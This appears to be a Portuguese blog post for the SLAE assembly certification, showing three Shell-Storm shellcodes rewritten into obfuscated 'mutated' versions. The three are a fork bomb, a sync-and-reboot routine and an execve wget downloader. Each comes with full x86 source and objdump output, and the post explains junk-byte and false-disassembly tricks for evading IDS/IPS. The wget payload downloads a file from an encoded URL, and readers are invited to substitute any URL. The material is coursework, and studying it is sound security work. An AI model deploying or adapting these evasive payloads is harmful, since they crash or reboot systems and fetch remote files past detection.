/*
Este post é uma sequência. Para melhor entendimento, vejam:
SLAE - 1st Assignment - Shell Bind TCP
Hacking do Dia - Shell Bind TCP Random Port
SLAE - 2nd Assignment - Shell Reverse TCP
O menor do mundo? Yeah? So Beat the Bits!
SLAE - 3rd Assignment - Caçando Ovos?
SLAE - 4th Assignment - Encoding and Decoding Gollums
SLAE - 5th Assignment - Metasploit Shellcodes Analysis
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-237
Códigos deste post estão no GitHub.
Shell-Storm:
Tiny Execve Sh
Insertion Decoder Shellcode
Missão
Segue abaixo o determinado pelo Vivek para este assignment.
6th assignment
- Criar versão polimórfica de três shellcodes do repositório Shell-Storm.
- As versões polimórficas não podem ser maiores que 150% do tamanho das versões originais.
- Pontos adicionais para quem os construir com menor tamanho que o original.
Polimorfismo! Mesmo?!
Antes de iniciar a missão, procurei me inteirar do que realmente seria um shellcode polimorfo.
- Google, você me ajuda?
- “Yes ‘master’! I have one great source for you”.
- (⊙_◎) Qual?
- “Polymorphic Shellcode Engine - CLET Team”.
- Oh, muito obrigado google. (⊙‿⊙)
- “You’re welcome! But I need your clicks…“
- Você não me chamou de mestre, agora há pouco?
- “Yes, but it’s the world! Master? (oT-T)尸 CLICK ME NOW!”.
- Oh, diabos! (ノдヽ)
Após essa calorosa, bilíngue e esquizofrênica discussão filosófica, li o grandioso paper do CLET Team sobre a construção de um motor para criação de shellcodes polimórficos.
Minha concepção a respeito do tema é de que um shellcode não deveria ser chamado de polimorfo mesmo que um motor externo o altere inúmeras vezes. O termo polimorfismo vai além do fato de que o payload foi alterado com este fim. Vejamos a definição do dicionário priberam.
polimorfo |ó|
(poli- + -morfo)
adj.
1. Que se apresenta sob diversas formas.
Sujeito a variar de forma.
No âmbito dos vírus, o vocábulo é empregado corretamente, haja vista o próprio vírus se replicar e sua “cópia”, mesmo que destinada a fim idêntico, ter sua composição diferenciada.
Um shellcode se replica? Não! Cabe salientar que se uma praga qualquer, que se replica com mutação, tem a capacidade de utilizar um shellcode (modificado ou não), ELA (praga) é que tem a característica polimórfica.
O que vemos aos montes na internet são esses autoproclamados shellcodes polimórficos que de polimórficos não tem nada, apenas, quem sabe, a capacidade de evasão. Eu, portanto os chamo de mutated shellcodes, ora terem sido modificados manualmente ou através de um motor externo como o ADMmutate.
Bom, mas essa é uma concepção minha.
Esta missão exige que a versão “mutated” não seja maior que 150% do original. Isso é meio difícil de se conseguir, principalmente se o shellcode original já tiver tamanho reduzido. E estamos falando de inserção de bytes lixo, inclusão de NOPs, extrapolação do resultado de uma instrução em duas ou mais etc. Em suma, é uma missão não factível! A não ser que eu escolhesse um shellcode gigante, mal codificado, e dali fizesse o seu enxugamento. Contudo, o resultado não seria capaz de evadir IPSs.
Vivek também pontuará por “mutated” shellcodes menores que o original. (︶︹︺) Not going to happen. Melhor que sejam maiores e sirvam ao propósito.
Let’s begin.
1st shellcode - fork bomb
Original here.
pop eax
int 0x80
jmp short
Temos acima um clássico fork bomb usando a syscall __NR_fork 2.
Modifiquemo-lo.
_start:
xor edi, edi
jmp $+3
db 0xe8
mov dl, 29
xchg edi, eax
sub eax, 27
int 0x80
jmp _start
Na versão mutated, utilizei o register EDI para salvar o valor 29 (__NR_pause) e posteriormente o copiar para EAX, quando então ele é subtraído, restando-lhe o valor 2 da syscall fork. Fiz uso também da técnica de false disassembly (obfuscated assembly) com a JMP sobre o byte E8 (opcode da instrução CALL). Vejam a saída do objdump.
08048060 <_start>:
8048060: 31 ff xor edi,edi
8048062: eb 01 jmp 8048065 <_start+0x5>
8048064: e8 b2 1d 97 83 call 8b9b9e1b <_end+0x83970dab>
8048069: e8 1b cd 80 eb call f3854d89 <_end+0xeb80bd19>
804806e: f1 icebp
Se as ferramentas IDS/IPS não utilizarem uma análise profunda como a GetPC (Recursive Traversal), a finalidade do shellcode não será identificada.
Original: 7 bytes
Mutated: 15 bytes
Next.
2nd shellcode - reboot
Original here (AT&T syntax).
mov $0x24,%al
int $0x80
xor %eax,%eax
mov $0x58,%al
mov $0xfee1dead,%ebx
mov $0x28121969,%ecx
mov $0x1234567,%edx
int $0x80
xor %eax,%eax
mov $0x1,%al
xor %ebx,%ebx
int $0x80
Desta vez modificaremos um shellcode que chama a syscall sync (para evitar perda de arquivos) e a reboot.
Segue a versão modificada.
# void sync(void);
# sync()
sub edi, edi
jz $+3
db 0xe8
add edi, 36
xchg eax, edi
jmp $+3
db 0xe1
int 0x80
# int reboot(int magic, int magic2, int cmd, void *arg);
# reboot(0xfee1dead, 0x28121969, 0x1234567, not_used)
jmp $+3
db 0xff
push 0x29
pop ecx
jmp $+3
db 0x01
mov ebx, 0x1234567
mov edx, 0xffc29bca
xor edx, ebx
jnz $+3
db 0xe7
xchg ebx, edx
lea eax, [ecx+0x2f]
lea ecx, [ecx+0x28121940]
jmp $+4
db 0xe8, 0x01
int 0x80
O código faz o mesmo que o original, com a diferença de não usar a syscall exit. Pensem comigo: se o sistema já estará em processo de reinicialização, para que se preocupar em fechar o programa? ;)
Também utilizei a técnica da SUB reg, reg, para zerar o registrador, seguida de uma JZ. Como a subtração sempre setará o ZF, sempre haverá o jump. Essa é mais uma técnica que embaralha a detecção do shellcode. Podem perceber que também não fiz uso dos valores imediatos corretos; eles são calculados durante a execução. Outra técnica empregada foi a de permutar os registradores, confundindo cada vez mais a identificação do objetivo do código.
Outro jump utilizado é a JNZ, logo após o XORing de EDX e EBX; como eles tem valores diferentes, a ZF nunca será setada, condicionando a JNZ a sempre efetuar o jump. ;)
Abaixo, a saída do objdump.
08048060 <_start>:
8048060: 29 ff sub %edi,%edi
8048062: 74 01 je 8048065 <_start+0x5>
8048064: e8 83 c7 24 97 call 9f2947ec <_end+0x9724b754>
8048069: eb 01 jmp 804806c <_start+0xc>
804806b: e1 cd loope 804803a <_start-0x26>
804806d: 80 eb 01 sub $0x1,%bl
8048070: ff 6a 29 ljmp *0x29(%edx)
8048073: 59 pop %ecx
8048074: eb 01 jmp 8048077 <_start+0x17>
8048076: 01 bb 67 45 23 01 add %edi,0x1234567(%ebx)
804807c: ba ca 9b c2 ff mov $0xffc29bca,%edx
8048081: 31 da xor %ebx,%edx
8048083: 75 01 jne 8048086 <_start+0x26>
8048085: e7 87 out %eax,$0x87
8048087: da 8d 41 2f 8d 89 fimull -0x7672d0bf(%ebp)
804808d: 40 inc %eax
804808e: 19 12 sbb %edx,(%edx)
8048090: 28 eb sub %ch,%bl
8048092: 02 e8 add %al,%ch
8048094: 01 cd add %ecx,%ebp
8048096: 80 .byte 0x80
Tem que ter um olho muito treinado! :D
Original: 33 bytes
Mutated: 55 bytes
Antes do Next, leiam sobre os easter eggs magic
numbers do Linus
Torvalds usados na syscall reboot.
Next.
3rd shellcode - execve wget
Original here (AT&T syntax).
push $0xb
pop %eax
cltd
push %edx
push $0x61616161
mov %esp,%ecx
push %edx
push $0x74
push $0x6567772f
push $0x6e69622f
push $0x7273752f
mov %esp,%ebx
push %edx
push %ecx
push %ebx
mov %esp,%ecx
int $0x80
inc %eax
int $0x80
Esse último payload faz uso da syscall execve para instanciar o wget e baixar o arquivo desejado.
Seguindo as mesmas técnicas já mencionadas, segue a versão modificada.
# int execve(const char *path, char *const argv[], char *const envp[]);
# execve(["/usr/bin/wget", 0], [["/usr/bin/wget", 0], "url", 0], 0
jmp $+3
db 0xe8
sub ebx, ebx
jz $+3
db 0x83
mul ebx
mov ebp, -11
jmp $+3
db 0xe8
push 0x72456541
sub esi, esi
jz $+3
db 0x83
pop esi
push esi
xor esi, 0x3e1f4a25
push esi
jmp $+3
db 0x33
push 0x672e7369
mov [esp+12], eax
mov ecx, esp
# /usr/bin/wget
push 0x74
jmp $+3
db 0xe3
push 0x6567772f
jmp $+3
db 0x83
push 0x6e69622f
jmp $+3
db 0x33
push 0x7273752f
lea ebx, [esp]
jmp $+3
db 0x83
push eax
push ecx # argv address
push ebx # file name address
mov ecx, esp # pointer to the file name and argv
neg ebp
xchg eax, ebp
jmp $+3
db 0x83
int 0x80
E abaixo, a saída do objdump.
08048060 <_start>:
8048060: eb 01 jmp 8048063 <_start+0x3>
8048062: e8 29 db 74 01 call 9795b90 <__bss_start+0x174cad0>
8048067: 83 f7 e3 xor edi,0xffffffe3
804806a: bd f5 ff ff ff mov ebp,0xfffffff5
804806f: eb 01 jmp 8048072 <_start+0x12>
8048071: e8 68 41 65 45 call 4d69c1de <__bss_start+0x4565311e>
8048076: 72 29 jb 80480a1 <_start+0x41>
8048078: f6 74 01 83 div BYTE PTR [ecx+eax*1-0x7d]
804807c: 5e pop esi
804807d: 56 push esi
804807e: 81 f6 25 4a 1f 3e xor esi,0x3e1f4a25
8048084: 56 push esi
8048085: eb 01 jmp 8048088 <_start+0x28>
8048087: 33 68 69 xor ebp,DWORD PTR [eax+0x69]
804808a: 73 2e jae 80480ba <_start+0x5a>
804808c: 67 89 44 24 mov DWORD PTR [si+0x24],eax
8048090: 0c 89 or al,0x89
8048092: e1 6a loope 80480fe <_start+0x9e>
8048094: 74 eb je 8048081 <_start+0x21>
8048096: 01 e3 add ebx,esp
8048098: 68 2f 77 67 65 push 0x6567772f
804809d: eb 01 jmp 80480a0 <_start+0x40>
804809f: 83 68 2f 62 sub DWORD PTR [eax+0x2f],0x62
80480a3: 69 6e eb 01 33 68 2f imul ebp,DWORD PTR [esi-0x15],0x2f683301
80480aa: 75 73 jne 804811f <_start+0xbf>
80480ac: 72 8d jb 804803b <_start-0x25>
80480ae: 1c 24 sbb al,0x24
80480b0: eb 01 jmp 80480b3 <_start+0x53>
80480b2: 83 50 51 53 adc DWORD PTR [eax+0x51],0x53
80480b6: 89 e1 mov ecx,esp
80480b8: f7 dd neg ebp
80480ba: 95 xchg ebp,eax
80480bb: eb 01 jmp 80480be <_start+0x5e>
80480bd: 83 cd 80 or ebp,0xffffff80
Bem diferente, não acham?
Ao rodar o payload, é feito o download de um arquivo; se vocês acompanharam os posts desde o início, vão saber dizer o conteúdo dele. Façam isso! Aguardo contato informando o respectivo conteúdo. E após descobrirem, aproveitem e modifiquem-no para usar a url que quiserem.
Original: 42 bytes
Mutated: 96 bytes
End.
Accomplished
Atentem que poderíamos ter utilizado criptografia no próprio shellcode para fortalecer a sua mutação; mas esse é o tema da sétima e última missão.
Vemo-nos lá!
o//
Mais Informações
SLAE - SecurityTube Linux Assembly Expert
Get shellcode of the binary using objdump - Andrey Arapov
Polymorphic Shellcode Engine - Phrack Vol. 0x0b, Issue 0x3d
ADMmutate
Linux Anti-debugging Techniques (Fooling the Debugger) - Silvio Cesare
GetPC - Skypher
Linear Sweep vs Recursive Disassembling Algorithm - InfoSec Institute
Magic number (programming) - Wikipedia
is.gd